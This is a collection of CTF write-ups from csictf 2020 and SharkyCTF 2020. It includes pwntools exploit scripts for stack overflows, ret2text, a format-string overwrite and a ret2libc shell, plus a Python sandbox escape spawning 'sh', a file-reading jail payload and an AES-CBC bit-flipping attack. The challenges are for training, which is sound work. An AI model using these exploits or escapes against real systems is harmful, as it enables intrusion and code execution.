csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}

pwn intended 0x2

Topics

  • overwrite variable

Challenge

pwn intended 0x2

File

$ file pwn-intended-0x2 
pwn-intended-0x2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3fe5fe06984f7093c9122fb1b08fb834a63784d4, for GNU/Linux 3.2.0, not stripped

Checksec

$ checksec pwn-intended-0x2 
[*] '/root/Dropbox/CTF/csictf_2020/Pwn/pwn_intended_0x2/pwn-intended-0x2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-30h]
  int v5; // [rsp+2Ch] [rbp-4h]

  v5 = 0;
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to csictf! Where are you headed?");
  gets(&v4);
  puts("Safe Journey!");
  if ( v5 == 0xCAFEBABE )
  {
    puts("You've reached your destination, here's a flag!");
    system("/bin/cat flag.txt");
  }
  return 0;
}

Analysis

Our task is to overwrite the variable v5 with 0xcafebabe. This variable locates at rbp-0x4.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("pwn-intended-0x2", checksec=False)
local = False

if local:
  r = elf.process()
else:
  host = "chall.csivit.com"
  port = 30007
  r = remote(host, port)

#--------overwrite--------#

offset = 44

payload = flat(
  b"A" * offset,
  0xcafebabe,
)

r.sendlineafter("Welcome to csictf! Where are you headed?\n", payload)
log.info(r.readall().decode())

Flag

csictf{c4n_y0u_re4lly_telep0rt?}

pwn intended 0x3

Topics

  • ret2text

Challenge

pwn intended 0x3

File

$ file pwn-intended-0x3 
pwn-intended-0x3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=65cafe283997ada7631398451f05273dd0002567, for GNU/Linux 3.2.0, not stripped

Checksec

$ checksec pwn-intended-0x3 
[*] '/root/Dropbox/CTF/csictf_2020/Pwn/pwn_intended_0x3/pwn-intended-0x3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-20h]

  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to csictf! Time to teleport again.");
  gets(&v4);
  return 0;
}

Analysis

Basic ret2text.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("pwn-intended-0x3", checksec=False)
local = False

if local:
  r = elf.process()
else:
  host = "chall.csivit.com"
  port = 30013
  r = remote(host, port)

#--------ret2text--------#

offset = 40
flag = elf.sym["flag"]

payload = flat(
  b"A" * offset,
  flag,
)

r.sendlineafter("Welcome to csictf! Time to teleport again.\n", payload)
log.info(r.readall().decode())

Flag

csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}

Secret Society

Topics

  • overwrite variable

Challenge

Secret Society

File

$ file secret-society 
secret-society: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=97718a60544b42fa4f803625fc7b052fab99ec08, for GNU/Linux 3.2.0, not stripped

Checksec

$ checksec secret-society 
[*] '/root/Dropbox/CTF/csictf_2020/Pwn/Secret_Society/secret-society'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[128]; // [rsp+10h] [rbp-D0h]
  char s; // [rsp+90h] [rbp-50h]
  FILE *stream; // [rsp+C8h] [rbp-18h]
  char *v7; // [rsp+D0h] [rbp-10h]
  __gid_t rgid; // [rsp+DCh] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  memset(&s, 0, 0x32uLL);
  memset(v4, 0, 0x80uLL);
  puts("What is the secret phrase?");
  fgets(v4, 128, stdin);
  v7 = strchr(v4, '\n');
  if ( v7 )
    *v7 = 0;
  strcpy(&v4[strlen(v4)], ", we are everywhere.");
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    printf("You are a double agent, it's game over for you.");
    exit(0);
  }
  fgets(&s, 50, stream);
  printf("Shhh... don't tell anyone else about ");
  puts(v4);
  return 0;
}

Analysis

Our task is to make sure that stream != 0, so we can simply throw in a bunch of “A” as input, say 500. The number doesn’t really matter.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("secret-society", checksec=False)
local = False

if local:
  r = elf.process()
else:
  host = "chall.csivit.com"
  port = 30041
  r = remote(host, port)

#--------overwrite--------#

offset = 500

payload = flat(
  b"A" * offset,
)

r.sendlineafter("What is the secret phrase?\n", payload)
log.info(r.readall().decode())

Flag

csivit{Bu!!er_e3pl01ts_ar5_5asy}

Global Warming

Topics

  • format string
  • overwrite GOT

Challenge

Global Warming

File

$ file global-warming 
global-warming: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=a8349c997968a84bfa8b253e0f9a3f9349cc1538, for GNU/Linux 3.2.0, not stripped

Checksec

$ checksec global-warming 
[*] '/root/Dropbox/CTF/csictf_2020/Pwn/Global_Warming/global-warming'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-408h]
  int *v5; // [esp+400h] [ebp-8h]

  v5 = &argc;
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  fgets(&s, 1024, stdin);
  login((int)"User", &s);
  return 0;
}

login:

int __cdecl login(int a1, char *format)
{
  int result; // eax

  printf(format);
  if ( admin == 0xB4DBABE3 )
    result = system("cat flag.txt");
  else
    result = printf("You cannot login as admin.");
  return result;
}

Analysis

The printf(format); in the login function leads to format string vulnearability. Our task is to overwrite the variable admin in .bss with 0xb4dbabe3. This task can be easily done with the fmtstr module in pwntools.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("global-warming", checksec=False)
local = False

if local:
  r = elf.process()
else:
  host = "chall.csivit.com"
  port = 30023
  r = remote(host, port)

#--------fmtstr offset--------#

def exec_fmt(payload):
  p = elf.process()
  p.sendline(payload)
  return p.readall()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

#--------overwrite admin--------#

admin = 0x0804c02c

payload = fmtstr_payload(offset, {admin:0xb4dbabe3})

r.sendline(payload)
log.info(r.readall())

Flag

csictf{n0_5tr1ng5_@tt@ch3d}

Smash

Topics

  • ret2libc (ret2puts + ret2system)

Challenge

Smash

File

$ file hello 
hello: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1b4310a5ac288241657cbfade8806251eeb2a87, not stripped

Checksec

$ checksec hello 
[*] '/root/Dropbox/CTF/csictf_2020/Pwn/Smash/hello'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+3h] [ebp-Dh]
  void *ptr; // [esp+4h] [ebp-Ch]
  size_t size; // [esp+8h] [ebp-8h]

  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  size = 0;
  ptr = malloc(0);
  puts("What's your name?");
  while ( 1 )
  {
    __isoc99_scanf("%c", &v4);
    ptr = realloc(ptr, ++size);
    if ( v4 == '\n' )
      break;
    *((_BYTE *)ptr + size - 1) = v4;
  }
  *((_BYTE *)ptr + size - 1) = 0;
  say_hello((char *)ptr);
  free(ptr);
  return 0;
}

say_hello:

int __cdecl say_hello(char *src)
{
  char dest; // [esp+0h] [ebp-84h]

  strcpy(&dest, src);
  printf("Hello, ");
  printf(&dest);
  return puts("!");
}

Analysis

Basic ret2libc. We need to do a ret2puts first to leak out a libc function address, and then do a ret2system to get a shell.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("hello", checksec=False)
local = False

if local:
  libc = elf.libc()
  r = elf.process()
else:
  libc = ELF("libc.so.6", checksec=False)
  host = "chall.csivit.com"
  port = 30046
  r = remote(host, port)

#--------ret2puts--------#

offset = 136
puts_plt = elf.plt["puts"]
main = elf.sym["main"]
puts_got = elf.got["puts"]

payload = flat(
    b"A" * offset,
    puts_plt,
    main,
    puts_got,
)

r.sendlineafter("What's your name?\n", payload)
r.readuntil("!\n")
puts_leak = u32(r.read(4))
libc.address = puts_leak - libc.sym["puts"]

log.info(f"puts_leak: {hex(puts_leak)}")
log.info(f"libc.address: {hex(libc.address)}")

#--------ret2libc--------#

system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))

payload = flat(
    b"A" * offset,
    system,
    b"B" * 4,
    bin_sh,
)

r.sendlineafter("What's your name?\n", payload)
r.interactive()

Flag

csictf{5up32_m4210_5m45h_8202}

csictf 2020 Misc Writeup

  1. Intro
  2. No DIStractions
  3. Machine Fix
  4. Escape Plan
  5. Friends
  6. Prison Break
  7. BroBot
  8. Mafia
  9. Prime Roll

No DIStractions

Topics

  • guessing

Challenge

No DIStractions

Analysis

There was a discord bot named “Kuwu”. With command .list, you get a list of commands that the bot accepts. The response is:

List of Command:
1. Ban: Can be used to ban a member ->
     Format: '.ban @username'. Can only be used by member with ban privileges.
1. Kick: Can be used to kick a member  ->
     Format: '.kick @username'. Can only be used by member with kick privileges.
3. Ping: Can tell you the ping of the bot ->
     Format: '.ping'
4. 8ball: Will help you take decisions, have fun with this one ->
     Format: '.8ball question?'

The .8ball command is just a troll. Send .flag to the bot and it returns the flag.

Flag

csictf{m0r3_huMaN_than_Y0u}

Machine Fix

Topics

  • algorithm

Challenge

Machine Fix

Source Code

def convert (n):
    if n == 0:
        return '0'
    nums = []
    while n:
        n, r = divmod(n, 3)
        nums.append(str(r))
    return ''.join(reversed(nums))

count=0
n=1
while(n<=523693181734689806809285195318):
    str1=convert(n)
    str2=convert(n-1)
    str2='0'*(len(str1)-len(str2))+str2
    for i in range(len(str1)):
        if(str1[i]!=str2[i]):
            count+=1
    n+=1

print(count)

Analysis

The convert function converts a decimal number to ternary and while computes the hamming distance between n and n-1. The count variable is the sum of all hamming distance from 0 to 523693181734689806809285195318 in ternary. There is a paper on this topic and it includes a python implement that returns the result instantly.

Script

#!/usr/bin/env python3

n = 3
i = 523693181734689806809285195318

j = i
h = 0
while (j > 1):
    j = j // n
    h = h + 1

s = 0
while (h >= 0):
    s = s + ( i // (n ** h) )
    h = h - 1

print(s)

Flag

csictf{785539772602034710213927792950}

Escape Plan

Topics

  • Python sandbox
  • Github OSINT

Challenge

Escape Plan

Analysis

This challenge is about python sandbox. We could get a shell with:

eval('__import__("os").system("sh")')

There is a .git directory in user’s home directory. The config file points to https://github.com/alias-rahil/crypto-cli, and the flag is in one of the commits.

Flag

csictf{2077m4y32_h45_35c4p3d}

Friends

Topics

  • Python float() and NaN

Challenge

Friends

Source Code

import math
import sys

def fancy(x):
    a = (1/2) * x
    b = (1/2916) * ((27 * x - 155) ** 2)
    c = 4096 / 729
    d = (b - c) ** (1/2)
    e = (a - d - 155/54) ** (1/3)
    f = (a + d - 155/54) ** (1/3)
    g = e + f + 5/3
    return g

def notfancy(x):
    return x**3 - 5*x**2 + 3*x + 10

def mathStuff(x):
    if (x < 3 or x > 100):
        exit()

    y = fancy(notfancy(x))

    if isinstance(y, complex):
        y = float(y.real)

    y = round(y, 0)
    return y

print("Enter a number: ")
sys.stdout.flush()
x = round(float(input()), 0)
if x == mathStuff(x):
    print('Fail')
    sys.stdout.flush()
else:
    print(open('namo.txt').read())
    sys.stdout.flush()

Analysis

Note that the function float takes two types of special strings as argument, namely:

  1. nan: not a number
  2. inf: infinity

Here inf won’t pass the test if (x < 3 or x > 100), so we can try nan. If the input nan, then round(float('nan'), 0 is evaluated as nan with type float. It also bypasses the conditional expression if (x < 3 or x > 100):

>>> round(float('nan'), 0)
nan
>>> type(round(float('nan'), 0))
<class 'float'>
>>> round(float('nan'), 0) < 3
False
>>> round(float('nan'), 0) > 100
False

The conditional expression if (x < 3 or x > 100) thus evalutes to if (False or False), so it is always False.

Do it:

$ nc chall.csivit.com 30425
Enter a number: 
nan
Mitrooon
bhaiyo aur behno "Enter a number"
mann ki baat nambar

agar nambar barabar 1 hai {
        bhaiyo aur behno "s"
}

nahi toh agar nambar barabar 13 hai {
        bhaiyo aur behno "_"
}


nahi toh agar nambar barabar 15 hai {
        bhaiyo aur behno "5"
}


nahi toh agar nambar barabar 22 hai {
        bhaiyo aur behno "4"
}


nahi toh agar nambar barabar 28 hai {
        bhaiyo aur behno "k"
}


nahi toh agar nambar barabar 8 hai {
        bhaiyo aur behno "y"
}


nahi toh agar nambar barabar 17 hai {
        bhaiyo aur behno "4"
}


nahi toh agar nambar barabar 9 hai {
        bhaiyo aur behno "_"
}


nahi toh agar nambar barabar 4 hai {
        bhaiyo aur behno "t"
}


nahi toh agar nambar barabar 3 hai {
        bhaiyo aur behno "c"
}


nahi toh agar nambar barabar 20 hai {
        bhaiyo aur behno "r"
}


nahi toh agar nambar barabar 12 hai {
        bhaiyo aur behno "n"
}


nahi toh agar nambar barabar 0 hai {
        bhaiyo aur behno "c"
}


nahi toh agar nambar barabar 23 hai {
        bhaiyo aur behno "t"
}


nahi toh agar nambar barabar 27 hai {
        bhaiyo aur behno "0"
}


nahi toh agar nambar barabar 10 hai {
        bhaiyo aur behno "n"
}


nahi toh agar nambar barabar 11 hai {
        bhaiyo aur behno "4"
}


nahi toh agar nambar barabar 7 hai {
        bhaiyo aur behno "m"
}


nahi toh agar nambar barabar 25 hai {
        bhaiyo aur behno "c"
}


nahi toh agar nambar barabar 24 hai {
        bhaiyo aur behno "_"
}


nahi toh agar nambar barabar 6 hai {
        bhaiyo aur behno "{"
}


nahi toh agar nambar barabar 16 hai {
        bhaiyo aur behno "_"
}


nahi toh agar nambar barabar 18 hai {
        bhaiyo aur behno "_"
}


nahi toh agar nambar barabar 2 hai {
        bhaiyo aur behno "i"
}


nahi toh agar nambar barabar 5 hai {
        bhaiyo aur behno "f"
}


nahi toh agar nambar barabar 19 hai {
        bhaiyo aur behno "g"
}


nahi toh agar nambar barabar 14 hai {
        bhaiyo aur behno "1"
}


nahi toh agar nambar barabar 21 hai {
        bhaiyo aur behno "3"
}


nahi toh agar nambar barabar 26 hai {
        bhaiyo aur behno "0"
}


nahi toh agar nambar barabar 29 hai {
        bhaiyo aur behno "}"
}

nahi toh {
        bhaiyo aur behno ""
}

achhe din aa gaye

We can jot down the flag by hand now.

Flag

csictf{my_n4n_15_4_gr34t_c00k}

Prison Break

Topics

  • Python sandbox

Challenge

Prison Break

Analysis

Since import is disabled, we have to find some built-in functions to read the flag. One common payload for reading files is ().__class__.__bases__[0].__subclasses__()[40]("<file>").read():

>>> print ().__class__.__bases__[0].__subclasses__()[40]("flag.txt").read()
The flag is in the source code.

Now we want to find out the name of the source code:

$ print ().__class__.__bases__[0].__subclasses__()[40]("/proc/self/cmdline").read()
/usr/local/bin/pythonjail.py

However, we can’t read this file directly:

$ print ().__class__.__bases__[0].__subclasses__()[40]("/usr/local/bin/pythonjail.py").read()
You have encountered an error.

There is another way to read the source code:

$ print ().__class__.__bases__[0].__subclasses__()[40](__file__).read()
#!/usr/bin/python2

import sys

class Sandbox(object):
    def execute(self, code_string):
        exec(code_string)

sandbox = Sandbox()

_raw_input = raw_input

main = sys.modules["__main__"].__dict__
orig_builtins = main["__builtins__"].__dict__

builtins_whitelist = set((
    #exceptions
    'ArithmeticError', 'AssertionError', 'AttributeError', 'Exception',

    #constants
    'False', 'None', 'True',

    #types
    'basestring', 'bytearray', 'bytes', 'complex', 'dict',

    #functions
    'abs', 'bin', 'dir', 'help'

    # blocked: eval, execfile, exit, file, quit, reload, import, etc.
))

for builtin in orig_builtins.keys():
    if builtin not in builtins_whitelist:
        del orig_builtins[builtin]

print("Find the flag.")

def flag_function():
    flag = "csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}"

while 1:
    try:
        code = _raw_input(">>> ")
        sandbox.execute(code)

    except Exception:
        print("You have encountered an error.")

Flag

csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k}

BroBot

Topics

  • code audit
  • command injection

Challenge

BroBot

Analysis

I did not solve this challenge during the game. The official writeup is good enough. The bot doesn’t respond any more after the game ended so I have no way to verify the payload.

Mafia

Topics

  • binary search

Challenge

Mafia

Analysis

Our task is to find out the maximum among 300 random numbers within 1000 queries. Each random number is in the boundary [0, 1000000]. Naive binary search won’t work since the total number of queries is roughly 300 * log(1000000) = 300 * 19.93 = 5979.

You can check out the official writeup here. I used another approach which is longer but more intuitive (for myself, at least). The idea is to:

  1. Perform binary search on all 300 people and filter out the richest guy.
  2. Perform binary search on this richest guy and find out the exact value.

One bad thing about this script is that it doesn’t work every time you run it, only most of the time.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

host = "chall.csivit.com"
port = 30721
r = remote(host, port)

#--------filter out the richest person--------#

def query(i, query_amount):
    query = '1' + ' ' + str(i) + ' ' + str(query_amount)
    r.sendline(query)
    answer = r.read()[:-1].decode()

    return answer

candidates = [i for i in range(1, 301)]
start, end = 0, 1000000
wave = 1
while True:
    log.info(f"wave {wave}")
    rich_people = []
    mid = (start + end) // 2
    log.info(f"mid: {mid}")
    for i in candidates:
        log.info(f"i: {i}")
        # if this person doesn't have enough money, ask the next person
        if query(i, mid) == 'L':
            continue
        rich_people.append(i)

    log.info(f"rich_people: {rich_people}")

    # mid is too large
    if not rich_people:
        end = mid
    # mid is too small
    elif len(rich_people) > 1:
        start = mid
        candidates = rich_people
    else:
        bill_gates = rich_people[0]
        break

    log.info(f"candidates: {candidates}")
    wave += 1

#--------binary search--------#

log.info("binary search")
current_max = 0
search = 1
while start + 1 < end:
    mid = (start + end) // 2
    log.info(f"search: {search}")
    log.info(f"mid: {mid}")
    answer = query(bill_gates, mid)
    log.info(f"answer: {answer}")

    if answer == 'G':
        start = mid
        log.info(f"start: {start}")
        log.info(f"end: {end}")
    elif answer == 'L':
        end = mid
        log.info(f"start: {start}")
        log.info(f"end: {end}")
    elif answer == 'E':
        if mid > current_max:
            current_max = mid
            log.info(f"current_max: {current_max}")
        break

    search += 1

final_answer = '2' + ' ' + str(current_max)

#--------get flag--------#

r.sendline(final_answer)
log.info(r.readall().decode())

Flag

csictf{y0u_ar5_t8e_k!ng_0f_rAnd0mne55}

Prime Roll

Topics

  • probability theory

Challenge

Prime Roll

Analysis

Again, I did not solve this challenge during the game. You can check out the official writeup here.

Basically, we are given a dice with (10**9)+7 (which is a prime) sides and roll it for 2**((10**9)+7 times. We can consider that we roll this dice for inifinitely many times. The question is what is the probability that the largest result among all these rolls being a prime number. Here the largest result we can get is (10**9)+7 and it is a prime, so the question is reduced to what is the probability that we get (10**9)+7 at least once. This probability is indeed really high because we almost roll this dice for infinitely many times. But this probability is certainly not 1 since we are not guaranteed to roll a (10**9)+7. Thus the probability is 0.9999999…. with a bunch of 9’s.

csictf 2020 Crypto Writeup

  1. Intro
  2. Rivest Shamir Adleman
  3. little RSA
  4. Quick Math
  5. The Climb
  6. Mein Kampf
  7. Modern Clueless Child
  8. Login Error

Intro

I did not solve “Modern Clueless Child” and “Login Error”, mostly due to time pressure. “Login Error” is a really good challenge and other challenges are relatively easy. People may ask, why didn’t you solve “Modern Clueless Child” then? Because I am the modern cluecless child.

Rivest Shamir Adleman

Topics

  • RSA
  • factordb

Challenge

Rivest Shamir Adleman

enc.txt

Analysis

Basic RSA. Factor N with factordb-python.

Script

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes
from factordb.factordb import FactorDB
#--------data--------#

N = 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231
e = 65537
c = 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909

#--------factordb--------#

f = FactorDB(N)
f.connect()
factors = f.get_factor_list()

#--------rsa--------#

phi = 1
for factor in factors:
    phi *= factor - 1

d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()

print(flag)

Flag

csictf{sh0uld'v3_t4k3n_b1gg3r_pr1m3s}

little RSA

Topics

  • RSA
  • factordb

Challenge

little RSA

a.txt

flag.zip

Analysis

Basic RSA where the modulus N can be factored with factordb-python. Note that to unzip the flag.zip file we have to use unzip -P <password> flag.zip. Simply typying in the password won’t work in this case.

Script

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes
from factordb.factordb import FactorDB

#--------data--------#

N = 64741
e = 42667
c = 32949

#--------factordb--------#

f = FactorDB(N)
f.connect()

factors = f.get_factor_list()

#--------rsa--------#

phi = 1
for factor in factors:
    phi *= factor - 1

d = inverse(e, phi)
m = pow(c, d, N)

print(m)

Unzip

$ unzip -P 18429 flag.zip

Flag

csictf{gr34t_m1nds_th1nk_4l1ke}

Quick Math

Topics

  • RSA
  • Chinese Remainder Theorem

Challenge

Quick Math

Analysis

Basic RSA. Chinese Remainder Theorem. The plaintext is a hex string, which can be decoded by binascii.unhexlify.

Script

#!/usr/bin/env python3
from sympy.ntheory.modular import crt
from sympy import root
from binascii import unhexlify

#--------data--------#

e = 3

n1 = 86812553978993 
n2 = 81744303091421 
n3 = 83695120256591

c1 = 8875674977048 
c2 = 70744354709710 
c3 = 29146719498409

#--------crt--------#

n = [n1, n2, n3]
c = [c1, c2, c3]

M = int(crt(n, c)[0])
m = root(M, 3)
flag = "csictf{" + unhexlify(str(m)).decode() + "}"

print(flag)

Flag

csictf{h45t4d}

The Climb

Topics

  • Hills cipher

Challenge

The Climb

theclimb.txt

theclimb.java

Source Code

public class Main
{
    int kmatrix[][];
    int tmatrix[];
    int rmatrix[];
 
    public void div(String temp, int size)
    {
        while (temp.length() > size)
        {
            String substr = temp.substring(0, size);
            temp = temp.substring(size, temp.length());
            perf(substr);
        }
        if (temp.length() == size)
            perf(temp);
        else if (temp.length() < size)
        {
            for (int i = temp.length(); i < size; i++)
                temp = temp + 'x';
            perf(temp);
        }
    }
 
    public void perf(String text)
    {
        textconv(text);
        multiply(text.length());
        res(text.length());
    }
 
    public void keyconv(String key, int len)
    {
        kmatrix = new int[len][len];
        int c = 0;
        for (int i = 0; i < len; i++)
        {
            for (int j = 0; j < len; j++)
            {
                kmatrix[i][j] = ((int) key.charAt(c)) - 97;
                c++;
            }
        }
    }
 
    public void textconv(String text)
    {
        tmatrix = new int[text.length()];
        for (int i = 0; i < text.length(); i++)
        {
            tmatrix[i] = ((int) text.charAt(i)) - 97;
        }
    }
 
    public void multiply(int len)
    {
        rmatrix = new int[len];
        for (int i = 0; i < len; i++)
        {
            for (int j = 0; j < len; j++)
            {
                rmatrix[i] += kmatrix[i][j] * tmatrix[j];
            }
            rmatrix[i] %= 26;
        }
    }
 
    public void res(int len)
    {
        String res = "";
        for (int i = 0; i < len; i++)
        {
            res += (char) (rmatrix[i] + 97);
        }
        System.out.print(res);
    }
 
 
    public static void main(String[] args)
    {
        Main obj = new Main();
        System.out.println("Enter the plain text: ");
        String text = "fakeflag";
        System.out.println(text);
        System.out.println("Enter the key: ");
        String key = "gybnqkurp";
        System.out.println(key);
        double root = Math.sqrt(key.length());
        if (root != (long) root)
            System.out.println("Invalid key length.");
        else
        {
            int size = (int) root;
               
                System.out.println("Encrypted text = ");
                obj.keyconv(key, size);
                obj.div(text, size);
        }
    }
}

Analysis

The source code implements the encryption of Hill cipher. We could use dcode.fr to decrypt it. The “X” at the end is just padding.

Decryption Matrix

# gybnqkurp
6 24 1 
13 16 10 
20 17 15

Flag

csictf{hillshaveeyes}

Mein Kampf

Topics

  • Enigma machine

Challenge

Mein Kampf

Analysis

Basic engima machine decryption with partial key given. Since the information of the reflector and the rotors are missing, we have to brute force. This process can be done easily with Py-Enigma and itertools.product.

Script

#!/usr/bin/env python3
from enigma.machine import EnigmaMachine
from itertools import product

rotors = []
permutations = product([" I", " II", " III", " IV", " V", " VI", " VII", " VIII"], repeat=3)
for permutation in permutations:
    rotor = "Gamma"
    for ch in permutation:
        rotor += ch
    rotors.append(rotor)

for reflector in ["B-Thin", "C-Thin"]:
    for rotor in rotors:
        # setup machine according to specs from a daily key sheet:
        machine = EnigmaMachine.from_key_sheet(
               rotors=rotor,
               reflector=reflector,
               ring_settings='D I C T',
               plugboard_settings='FV CD HU IK ES OP YL WQ JM')

        # set machine initial starting position
        machine.set_display('BENE')

        # decrypt
        ciphertext = "zkrtwvvvnrkulxhoywoj"
        plaintext = machine.process_text(ciphertext)

        print(plaintext.lower())

Flag

csictf{no_shit_sherlock}

Modern Clueless Child

Topics

  • XOR

Challenge

Modern Clueless Child

Given Data

Ciphertext= "52f41f58f51f47f57f49f48f5df46f6ef53f43f57f6cf50f6df53f53f40f58f51f6ef42f56f43f41f5ef5cf4e" (hex)
Key="12123"

Analysis

Note that there are a bunch of f’s in the ciphertext that act as delimeters. If we get rid of all the f’s, the ciphertext will be 52415851475749485d466e5343576c506d53534058516e425643415e5c4e. Now, note that:

# first character
0x52 = 82
'1' = 49
82 ^ 49 = 99 = 'c'
# second character
0x41 = 65
'2' = 50
65 ^ 50 = 115 = 's'
# and so one

So the key 12123 is just an xor key.

Script

#!/usr/bin/env python3
from pwn import xor

ciphertext = "52415851475749485d466e5343576c506d53534058516e425643415e5c4e"

print(xor(bytes.fromhex(ciphertext), b"12123").decode())

Flag

csictf{you_are_a_basic_person}

Login Error

Topics

  • AES CBC bit flipping

Challenge

Login Error

Challenge Prompt

$ nc chall.csivit.com 30431
We implemented a really cool AES-encryption for our login, however in the process we forgot the username and password to the admin account.
We don't remember the exact credentials but the username was similar to c?i and password similar to c?f.
When we entered 'user:c?i' and 'pass:c?f' the portal spit out 2 hex strings : 

07aca785de752f037ac517efdb26d2d72eca0983020bad1e026909ddd88eecc2
07aca785de752f037ac517efdb26d2d7138788b51a2cb3dd6414c41de573f54d

The only way to login now is to enter 2 hex strings which decrypt to the correct credentials.
Enter username hex string : 

Note that these two hex strings are generated randomly for each connection.

Analysis

Clearly this challenge is about AES CBC bit flipping attack. To read more, check out this blog.

It is reasonable to guess that “c?i” is “csi” and “c?f” is “ctf”. That is, we want to flip ? to s in the username hex and flip ? to t in the password hex.

Script

#!/usr/bin/env python3
from pwn import *
from binascii import hexlify, unhexlify

#--------setup--------#

host = "chall.csivit.com"
port = 30431
r = remote(host, port)

#--------read data--------#

r.readuntil("the portal spit out 2 hex strings : \n\n")
username_hex = r.readuntil("\n")[:-1].decode()
password_hex = r.readuntil("\n")[:-1].decode()
log.info(username_hex)
log.info(password_hex)

#--------bit flipping--------#

def bit_flipping(hex_string, xor_ch):
    byte_string = unhexlify(hex_string)
    flipped_bit = xor(byte_string[6], '?', xor_ch)
    payload_byte = byte_string[:6] + flipped_bit + byte_string[7:]
    payload_hex = hexlify(payload_byte)

    return payload_hex

r.sendlineafter("Enter username hex string : ", bit_flipping(username_hex, 's'))
r.sendlineafter("Enter password hex string : ", bit_flipping(password_hex, 't'))
log.info(r.readall().decode())

Flag

csictf{Sh4u!d_hav3_n0t_u5ed_CBC}

SharkyCTF 2020 Pwn Writeup

  1. Intro
  2. Give away 0
  3. Give away 1
  4. Give away 2
  5. Captain Hook

Intro

SharkyCTF 2020 was great. The pwn challenges here are standard and outstanding learning resource for beginners. The last challenge “K1k00 4 3v3r” only had 9 solves, so I decide to skip it for now. Among the other 4 challenges, “Give away 2” and “Captain Hook” deserve more time to play with.

Give away 0

Challenge

Give away 0

0_give_away

File

$ file 0_give_away 
0_give_away: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e0fb611b13ac822d3074696fb8bb10ea80c05882, not stripped

Checksec

$ checksec 0_give_away 
[*] '/root/Dropbox/CTF/SharkyCTF/Pwn/Give-away-0/0_give_away'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_buffering(argc, argv, envp);
  vuln();
  return 0;
}

vuln:

char *vuln()
{
  char s; // [rsp+0h] [rbp-20h]

  return fgets(&s, 50, stdin);
}

win_func:

int win_func()
{
  return execve("/bin/sh", 0LL, 0LL);
}

Analysis

Basic ret2text.

Script

